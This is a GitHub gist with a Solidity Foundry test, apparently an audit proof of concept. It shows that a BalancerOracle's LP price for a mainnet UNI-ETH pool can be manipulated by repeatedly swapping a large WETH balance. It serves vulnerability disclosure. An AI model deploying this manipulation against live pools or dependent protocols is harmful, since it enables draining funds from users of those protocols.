Skip to content

Instantly share code, notes, and snippets.

@bahurum
Created May 13, 2023 14:35
Show Gist options
  • Select an option

  • Save bahurum/67ef6ea9ea820108844b320c977a3c34 to your computer and use it in GitHub Desktop.

Select an option

Save bahurum/67ef6ea9ea820108844b320c977a3c34 to your computer and use it in GitHub Desktop.
Test for Balancer LP Fair Price Manipulation
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../contracts/protocol/oracles/BalancerOracle.sol";
enum SwapKind { GIVEN_IN, GIVEN_OUT }
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
address assetIn;
address assetOut;
uint256 amount;
bytes userData;
}
// Define Vault Interface
interface IBalancerVault {
function swap(SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline) external returns (uint256 amountCalculated);
}
interface IWETH9 is IERC20{
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
}
contract BalancerLPTest is Test {
function setUp() public {
}
function testManip() public {
address pool = 0x5Aa90c7362ea46b3cbFBD7F01EA5Ca69C98Fef1c; //UNI-ETH pool on mainnet
uint UNI_price = 5.15*1e8; // UNI-USDC chainlink price
uint ETH_price = 1800*1e8; // ETH-USDC chainlink price
console.log("Mainnet block:", block.number);
uint256[] memory prices = new uint256[](2);
prices[0] = UNI_price;
prices[1] = ETH_price;
// direct LP price calcuation
bytes32 pool_id = IBalancer(pool).getPoolId();
IVault balancer_vault = IBalancer(pool).getVault();
(IERC20[] memory tokens, uint256[] memory balances, ) =
balancer_vault.getPoolTokens(pool_id);
uint totPoolUSDCvalue = UNI_price*balances[0]/1e18 + ETH_price*balances[1]/1e18;
uint LPprice = totPoolUSDCvalue*(10**IBalancer(pool).decimals())/IBalancer(pool).totalSupply();
console.log("LP expected price:", LPprice);
// use Balancer Oracle to get LP price
uint LPoraclePrice = BalancerOracle.get_lp_price(pool, prices, 0, true);
console.log("LP oracle price before manipulation:", LPoraclePrice);
// Swap 100_000 ETH on pool
uint amount = 1e5*1e18;
vm.deal(address(this), amount);
IWETH9(address(tokens[1])).deposit{value:1e5*1e18}();
IWETH9(address(tokens[1])).approve(address(balancer_vault), amount);
// 1. Swap WETH for UNI
FundManagement memory funds = FundManagement(
{
sender: address(this),
fromInternalBalance: false,
recipient: payable(address(this)),
toInternalBalance: false
}
);
bytes memory userData;
SingleSwap memory singleSwap = SingleSwap(
{
poolId: pool_id,
kind: SwapKind(0),
assetIn: address(tokens[1]),
assetOut: address(tokens[0]),
amount: amount,
userData: userData
}
);
while (true) { // do multiple swaps because balancer limit swap amount to 30% of reserves
(, balances, ) = balancer_vault.getPoolTokens(pool_id);
amount = balances[1]*3/10; // maximum that can be swapped due to balancer limits
if (IWETH9(address(tokens[1])).balanceOf(address(this)) < amount) break;
singleSwap.amount = amount;
IBalancerVault(address(balancer_vault)).swap(singleSwap,
funds,
0,
block.timestamp + 1);
}
LPoraclePrice = BalancerOracle.get_lp_price(pool, prices, 0, true);
console.log("LP oracle price after manipulation:", LPoraclePrice);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment